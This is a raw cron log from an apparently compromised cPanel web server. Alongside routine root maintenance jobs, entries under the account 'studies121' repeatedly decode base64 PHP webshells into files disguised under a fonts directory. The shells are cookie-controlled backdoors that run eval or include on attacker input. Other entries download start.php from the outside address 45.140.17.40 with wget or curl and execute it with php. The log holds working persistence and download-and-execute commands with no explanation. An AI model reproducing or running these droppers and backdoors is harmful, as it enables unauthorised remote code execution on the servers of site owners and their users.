Sep 22 20:46:01 ip-184-168-122-23 CROND[10396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:46:01 ip-184-168-122-23 CROND[10402]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:46:01 ip-184-168-122-23 CROND[10401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:46:01 ip-184-168-122-23 CROND[10403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:46:01 ip-184-168-122-23 CROND[10405]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 22 20:46:01 ip-184-168-122-23 CROND[10404]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 20:47:01 ip-184-168-122-23 CROND[11207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:47:01 ip-184-168-122-23 CROND[11208]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:47:01 ip-184-168-122-23 CROND[11209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:47:01 ip-184-168-122-23 CROND[11212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:48:01 ip-184-168-122-23 CROND[12330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:48:01 ip-184-168-122-23 CROND[12332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:48:01 ip-184-168-122-23 CROND[12335]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 20:48:01 ip-184-168-122-23 CROND[12337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:48:01 ip-184-168-122-23 CROND[12336]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:49:01 ip-184-168-122-23 CROND[13073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:49:01 ip-184-168-122-23 CROND[13071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:49:01 ip-184-168-122-23 CROND[13077]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:49:01 ip-184-168-122-23 CROND[13076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:50:01 ip-184-168-122-23 CROND[13795]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 20:50:02 ip-184-168-122-23 CROND[13799]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 20:50:02 ip-184-168-122-23 CROND[13800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:50:02 ip-184-168-122-23 CROND[13801]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 20:50:02 ip-184-168-122-23 CROND[13803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:50:02 ip-184-168-122-23 CROND[13804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:50:02 ip-184-168-122-23 CROND[13805]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 20:50:02 ip-184-168-122-23 CROND[13806]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 20:50:02 ip-184-168-122-23 CROND[13807]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:51:01 ip-184-168-122-23 CROND[14536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:51:01 ip-184-168-122-23 CROND[14537]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:51:01 ip-184-168-122-23 CROND[14538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:51:01 ip-184-168-122-23 CROND[14540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:52:01 ip-184-168-122-23 CROND[15262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:52:01 ip-184-168-122-23 CROND[15263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:52:01 ip-184-168-122-23 CROND[15265]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:52:01 ip-184-168-122-23 CROND[15266]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 20:52:01 ip-184-168-122-23 CROND[15268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:53:01 ip-184-168-122-23 CROND[15979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:53:01 ip-184-168-122-23 CROND[15981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:53:01 ip-184-168-122-23 CROND[15983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:53:01 ip-184-168-122-23 CROND[15987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:54:01 ip-184-168-122-23 CROND[16707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:54:01 ip-184-168-122-23 CROND[16709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:54:01 ip-184-168-122-23 CROND[16708]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 20:54:01 ip-184-168-122-23 CROND[16714]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:54:01 ip-184-168-122-23 CROND[16715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:55:01 ip-184-168-122-23 CROND[17498]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 20:55:01 ip-184-168-122-23 CROND[17499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:55:01 ip-184-168-122-23 CROND[17500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:55:01 ip-184-168-122-23 CROND[17504]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 20:55:01 ip-184-168-122-23 CROND[17506]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:55:01 ip-184-168-122-23 CROND[17505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:56:01 ip-184-168-122-23 CROND[18195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:56:01 ip-184-168-122-23 CROND[18194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:56:01 ip-184-168-122-23 CROND[18197]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 20:56:01 ip-184-168-122-23 CROND[18200]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:56:01 ip-184-168-122-23 CROND[18199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:57:01 ip-184-168-122-23 CROND[18974]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:57:01 ip-184-168-122-23 CROND[18976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:57:01 ip-184-168-122-23 CROND[18978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:57:01 ip-184-168-122-23 CROND[18977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:58:01 ip-184-168-122-23 CROND[19759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
